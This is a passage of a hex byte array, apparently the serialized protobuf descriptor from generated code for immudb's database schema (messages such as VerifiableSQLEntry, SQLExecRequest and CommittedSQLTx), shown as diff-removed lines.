0x74, 0x61, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, 0x0a, 0x12, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, - 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, - 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, - 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, - 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, - 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, - 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, - 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, - 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, - 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, - 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, - 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, - 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, - 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, - 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, - 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, - 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, - 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, - 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, - 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, - 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, - 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, - 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, - 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, - 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, - 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, - 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, - 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, - 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, - 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, - 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, - 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, - 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, - 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, - 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, - 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, - 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, - 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, - 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, - 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, - 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, - 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 